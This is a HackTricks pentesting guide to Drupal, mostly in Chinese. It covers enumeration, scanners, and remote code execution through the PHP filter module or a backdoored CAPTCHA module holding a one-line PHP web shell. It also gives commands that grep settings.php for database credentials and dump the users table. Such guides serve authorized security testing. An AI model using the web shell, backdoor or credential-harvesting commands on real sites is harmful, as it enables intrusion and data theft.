hacktricks/network-services-pentesting/pentesting-web/drupal.md
2023-08-03 19:12:22 +00:00

12 KiB
Raw Blame History

Drupal

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

发现

  • 检查meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • 节点: Drupal使用节点来索引其内容。一个节点可以包含任何内容比如博客文章、投票、文章等。页面的URI通常采用/node/<nodeid>的形式。
curl drupal-site.com/node/1

枚举

Drupal默认支持三种类型的用户

  1. 管理员该用户对Drupal网站拥有完全控制权。
  2. 已认证用户:这些用户可以登录网站,并根据其权限执行添加和编辑文章等操作。
  3. 匿名用户:所有访问网站的用户都被指定为匿名用户。默认情况下,这些用户只能阅读文章。

版本

  • 检查/CHANGELOG.txt文件
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} 新版本的Drupal默认阻止访问CHANGELOG.txtREADME.txt文件。 {% endhint %}

用户名枚举

注册

在_/user/register_中尝试创建一个用户名如果该名称已被使用将会收到通知

请求新密码

如果您为现有用户名请求新密码:

如果您为不存在的用户名请求新密码:

获取用户数量

访问_/user/<number>您可以看到现有用户的数量例如在这种情况下是2因为/users/3_返回一个未找到错误

隐藏页面

模糊搜索/node/$,其中$是一个数字例如从1到500
您可能会发现未被搜索引擎引用的隐藏页面(测试、开发)。

安装的模块信息

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

自动化

Automatic testing tools can be very useful when it comes to pentesting Drupal websites. These tools can help identify common vulnerabilities and weaknesses in the Drupal installation, saving time and effort for the pentester.

自动化测试工具在渗透测试Drupal网站时非常有用。这些工具可以帮助识别Drupal安装中的常见漏洞和弱点为渗透测试人员节省时间和精力。

Droopescan

Droopescan is a popular tool for scanning Drupal installations. It can identify the version of Drupal being used and check for known vulnerabilities. Droopescan can also perform password brute-forcing attacks against Drupal user accounts.

Droopescan

Droopescan是一个用于扫描Drupal安装的流行工具。它可以识别正在使用的Drupal版本并检查已知的漏洞。Droopescan还可以对Drupal用户账户进行密码暴力破解攻击。

Drupalgeddon

Drupalgeddon is a tool specifically designed to exploit the Drupalgeddon vulnerability (CVE-2018-7600). This vulnerability allows remote code execution on Drupal versions 7.x and 8.x. The tool automates the exploitation process, making it easier for pentesters to test for this vulnerability.

Drupalgeddon

Drupalgeddon是一个专门设计用于利用Drupalgeddon漏洞CVE-2018-7600的工具。该漏洞允许在Drupal 7.x和8.x版本上进行远程代码执行。该工具自动化了利用过程使渗透测试人员更容易测试此漏洞。

Drupal Security Scanner

Drupal Security Scanner is a Python tool that can scan Drupal websites for security vulnerabilities. It can identify outdated modules, misconfigurations, and other security issues. The tool also provides information about the Drupal version and installed modules.

Drupal安全扫描器

Drupal Security Scanner是一个Python工具可以扫描Drupal网站的安全漏洞。它可以识别过时的模块、配置错误和其他安全问题。该工具还提供有关Drupal版本和已安装模块的信息。

CMSmap

CMSmap is a versatile tool that can be used to scan various content management systems, including Drupal. It can identify the version of Drupal being used and check for common vulnerabilities. CMSmap can also perform brute-forcing attacks against Drupal user accounts.

CMSmap

CMSmap是一个多功能工具可用于扫描各种内容管理系统包括Drupal。它可以识别正在使用的Drupal版本并检查常见漏洞。CMSmap还可以对Drupal用户账户进行暴力破解攻击。

droopescan scan drupal -u http://drupal-site.local

RCE远程代码执行

使用PHP过滤器模块

{% hint style="warning" %} 在旧版本的Drupal8版本之前可以登录为管理员并启用PHP过滤器模块,该模块"允许评估嵌入的PHP代码/片段"。 {% endhint %}

您需要安装php插件访问_/modules/php_并返回403,则已安装;如果未找到,则未安装php插件)。

转到_模块_ -> (检查)PHP过滤器 -> 保存配置

然后点击_添加内容_ -> 选择_基本页面_或_文章_ -> 在_正文_中编写_php shellcode_ -> 在_文本格式_中选择_PHP代码_ -> 选择_预览_

最后只需访问新创建的节点:

curl http://drupal-site.local/node/3

安装 PHP Filter 模块

从版本 8 开始,PHP Filter 模块不再默认安装。要使用此功能,我们需要自己安装模块

  1. 从 Drupal 网站下载最新版本的模块。
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. 下载完成后,进入 Administration > Reports > Available updates
  4. 点击 Browse,选择从下载目录中下载的文件,然后点击 Install
  5. 安装完成后,我们可以点击 Content创建一个新的基本页面,与在 Drupal 7 示例中所做的方式类似。再次确保从 Text format 下拉菜单中选择 PHP code

后门模块

可以通过向现有模块添加一个 shell来创建后门模块。可以在 drupal.org 网站上找到模块。让我们选择一个模块,比如 CAPTCHA。向下滚动并复制 tar.gz archive 的链接。

  • 下载存档并提取其内容。
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • 使用以下内容创建一个 PHP网络外壳
<?php
// PHP web shell code here
?>
<?php
system($_GET["cmd"]);
?>
  • 接下来,我们需要创建一个 .htaccess 文件来让我们访问该文件夹。这是必要的因为Drupal拒绝直接访问 /modules 文件夹。
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 上述配置将在请求/modules文件夹中的文件时应用规则。将这两个文件都复制到captcha文件夹中并创建一个存档。
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • 假设我们对网站具有管理员访问权限,点击**管理,然后在侧边栏上点击扩展。接下来,点击+ 安装新模块按钮,我们将被带到安装页面,例如http://drupal-site.local/admin/modules/install。浏览到带有后门的验证码存档并点击安装**。
  • 安装成功后,浏览到**/modules/captcha/shell.php**以执行命令。

后渗透

读取settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

从数据库中导出用户信息

To dump users from a Drupal database, you can use the following steps:

  1. Identify the database credentials in the Drupal configuration file (settings.php or settings.local.php). Look for the variables $databases or $database.

  2. Connect to the database using the obtained credentials. You can use tools like mysql or phpMyAdmin to access the database.

  3. Once connected, execute the following SQL query to retrieve the user information:

SELECT name, mail FROM users;

This query will fetch the usernames and email addresses of all the users in the Drupal database.

  1. Export the query results to a file for further analysis or processing. You can use the appropriate command or option provided by the database tool you are using.

By following these steps, you can successfully dump the user information from a Drupal database.

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

参考资料

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥